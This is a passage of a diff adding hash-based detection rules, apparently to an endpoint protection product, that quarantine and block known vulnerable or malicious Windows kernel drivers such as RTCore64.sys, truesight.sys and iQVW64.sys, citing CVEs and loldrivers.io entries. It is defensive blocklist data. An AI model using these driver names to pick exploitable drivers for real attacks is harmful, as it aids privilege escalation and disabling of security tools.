+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8cd82f15-0280-5a9b-82c2-debf16e530e8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458664Z",
+  "creation_date": "2026-03-23T11:45:30.458667Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458676Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1204026fdc9c859960ee561eb9f1fd9ebf6c88c78c5d4cee35ef029ad5050ec6",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8cf64ce4-eb07-5796-b0e6-321ee2f458da",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148224Z",
+  "creation_date": "2026-03-23T11:45:31.148226Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148231Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a2a2374a88951cdf69c9215659bf9dd12125669e4143df3c574a2041ddafb92",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8d026852-d879-546f-b98c-1641dd8d3047",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810254Z",
+  "creation_date": "2026-03-23T11:45:31.810256Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810262Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e0cda9601a0a53bdc07b9c678de3571ca33666cf354a7ef36a2939107bfd7ca",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8d0c765d-ca1d-5c84-8c33-0d57bfc984a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978423Z",
+  "creation_date": "2026-03-23T11:45:29.978425Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978431Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b019ebd77ac19cdd72bba3318032752649bd56a7576723a8ae1cccd70ee1e61a",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/a7628504-9e35-4e42-91f7-0c0a512549f4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8d15a630-c118-57f1-8d0d-15e963aaac2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453577Z",
+  "creation_date": "2026-03-23T11:45:30.453581Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453590Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e556fc49ab6caeb5b835abf683ff04a39f0e467ea5607187c8b2fcf2ca77314",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8d1d9d93-9a73-5fb6-8235-a9f944c04526",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495390Z",
+  "creation_date": "2026-03-23T11:45:31.495393Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495401Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "28aeefa1f2d98aef61a1c972f4b3d2ef759301440f78e74cca16ef96c9d23f32",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8d24d0eb-1a5a-5982-a2d3-756332791807",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983703Z",
+  "creation_date": "2026-03-23T11:45:29.983705Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983711Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54bc506b2f0cf66d12d4a2415ab743c2b2a1f3079089e3e0c0c1f3f49dd7335e",
+  "comment": "Vulnerable Kernel Driver (aka WCPU.sys) [https://www.loldrivers.io/drivers/7f645b95-4374-47ae-be1a-e4415308b550/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8d30dbe7-3f97-5ca9-b7c2-16a18c094cb7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607668Z",
+  "creation_date": "2026-03-23T11:45:29.607670Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607675Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7da6113183328d4fddf6937c0c85ef65ba69bfe133b1146193a25bcf6ae1f9dd",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8d474abf-c415-5088-8ecf-aee802e4ff47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828973Z",
+  "creation_date": "2026-03-23T11:45:30.828975Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828981Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ad8e224c4c5fd1698b9898e9003a18edee6e44dac2e778a269b121a9f722ae0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8d50322e-9191-5266-b667-464e4ffbdc7c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971908Z",
+  "creation_date": "2026-03-23T11:45:29.971910Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971915Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ae3056a475fbf96c109185a3a44abe8a5af461cb9310370f595adda1ce2df28",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8d584675-f651-54e3-82fc-f59a68718bdf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151841Z",
+  "creation_date": "2026-03-23T11:45:31.151845Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151854Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "50cb1ea20990e0fc95cefd5354f857eb21724f637f807b885722515fa0b3d9fe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8d70af87-1e2a-5462-9ca6-d74a1864b714",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973739Z",
+  "creation_date": "2026-03-23T11:45:29.973740Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973746Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ffdde6bc6784c13c601442e47157062941c47015891e7139c2aaba676ab59cc",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8d761b0e-c6a1-5c3f-b5b2-ee58319a695c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460096Z",
+  "creation_date": "2026-03-23T11:45:30.460099Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460108Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "22e125c284a55eb730f03ec27b87ab84cf897f9d046b91c76bea2b5809fd51c5",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8d86abc2-7479-5ba2-be36-627be8b90423",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145697Z",
+  "creation_date": "2026-03-23T11:45:32.145700Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145706Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1afc1d0672c14df8c9e4caa88f5d3b7968421d72c548b6df307e371b9a8776d5",
+  "comment": "Malicious Kernel Driver (aka driver_1afc1d06.sys) [https://www.loldrivers.io/drivers/d7773616-9860-4768-b6a2-d74f32c23b4e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8d86ba3b-abe2-514b-a706-d87ab491adec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606575Z",
+  "creation_date": "2026-03-23T11:45:29.606577Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606583Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4533a11f4f190354b749f2842b57233e5e9e8b37fa4031bcb976118cff902101",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8d8883da-1a6e-566c-b1e9-11b057207a62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143148Z",
+  "creation_date": "2026-03-23T11:45:31.143150Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143155Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "002b9b5e83fb76da6e3e98c7de0f515de55429059026b03fd3bc8973f9227857",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8d9005c2-cc7c-5318-b64a-0313f39b3aa2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491494Z",
+  "creation_date": "2026-03-23T11:45:31.491497Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491505Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe0b4f7ebed27bedbab89926bd7637f91963b4c7364709f68ead295ee89660e5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8da0ebde-0443-5844-98ea-10362b3afd71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.603902Z",
+  "creation_date": "2026-03-23T11:45:29.603904Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.603910Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bdf49774a13d717c1f0b84bf82f4d9ec652994a475f0b8a0a3ab685cd5fd74a4",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8dbad857-0663-55e4-9e0f-c36d79768c6c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146673Z",
+  "creation_date": "2026-03-23T11:45:31.146675Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146681Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8ca82693f85a31d0dca7731fdc112d5cf619d3c65deebb58b0f1d9b045b7d4f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8dc5fb8c-f347-5b3c-bc21-a026ce5505f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972072Z",
+  "creation_date": "2026-03-23T11:45:29.972074Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972079Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b51ddcf8309c80384986dda9b11bf7856b030e3e885b0856efdb9e84064917e5",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ddda757-36db-577d-a31d-d35b5e272919",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491965Z",
+  "creation_date": "2026-03-23T11:45:31.491967Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491973Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7f98e425d04b84057f995dccfd76941b40baa512a839440a325a3255d7c964a4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8de7054e-720b-5521-970d-1843c428d0cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620600Z",
+  "creation_date": "2026-03-23T11:45:29.620602Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620610Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54841d9f89e195196e65aa881834804fe3678f1cf6b328cab8703edd15e3ec57",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8df0eef2-ab25-56a2-a736-f5f282230a36",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
